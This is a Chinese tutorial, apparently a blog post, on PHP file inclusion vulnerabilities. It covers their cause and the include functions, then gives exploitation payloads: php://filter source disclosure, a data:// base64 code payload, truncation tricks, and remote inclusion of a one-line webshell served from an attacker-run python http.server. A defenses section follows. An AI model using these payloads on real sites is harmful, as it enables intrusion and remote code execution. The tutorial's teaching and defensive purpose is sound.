文件包含漏洞

第一部分:原理

        什么是文件包含?

        答:为了更好的使用代码的重用性,引入了文件包含函数,可以通过文件包含函数将文件包含进来,直接使用包含文件的代码

        文件包含漏洞的成因是什么?

        答:在包含文件时候,为了灵活包含文件,将被包含的文件设置为变量,通过动态变量来引入需要包含的文件时,用户可以对变量的值可控而服务器端未对变量的值进行合理地校验或者校验被绕过,这样就导致了文件包含漏洞出现在PHP语言当中。

<?php
$file=$_GET['file'];
include($file);
//........
?>

        文件包含的函数有哪些?

         答:include,include_once,require,require_once,highlight_file,show_source,readfile,file_get_contents,fopen,file

        文件包含漏洞的分类有哪些?

        答:本地文件包含、远程文件包含。

        allow_url_fopen为ON时,可以读取远程文件;

        allow_url_include为ON时,可以使用include和require包含远程文件。

第二部分:文件包含漏洞的利用方式

验证存在该漏洞:/include.php?file=c://Windows/win.ini   其中file是包含的函数值,win.ini是win系统下的配置文件

php伪协议:https://www.cnblogs.com/endust/p/11804767.html

file://

include.php?file=file://c://Windows/win.ini

php://input

php://filter

http://127.0.0.1:8080/?file=php://filter/read=convert.base64-encode/resource=index.php

可以对网站目录下index.php文件内容进行Base64加密方式查看

php:data

include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

其他利用方式:

%00截断(php版本在5.3以下)、长度截断(win256,linux4096),包含日志文件,包含session

第三部分:防御

1.php中使用open_basedir配置限制访问在指定的区域

2.过滤.(点)/(反斜杠)\(斜杠)

3.禁止服务器远程文件包含

4.尽量不要使用动态包含,可以需要的包含在页面固定写好

第四部分:实例

1.本地包含

        相对路径:../phpinfo.txt          ../为上层目录    .txt  .php   .jpg都可以解析

2.远程包含

         http://www.xiaodi8.com/readme.txt   前提需要网站打开allow_url_include在php.ini中,远程代码可以包含一句话木马

        在服务器中 mkdir一个文件夹 然后vi 一个yjh.txt

        编辑一个一句话木马

        随后用python启动一个http服务

        Python3 -m http.server 8000

include.php?file=http://10.1.1.130:8000/yjh.txt

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值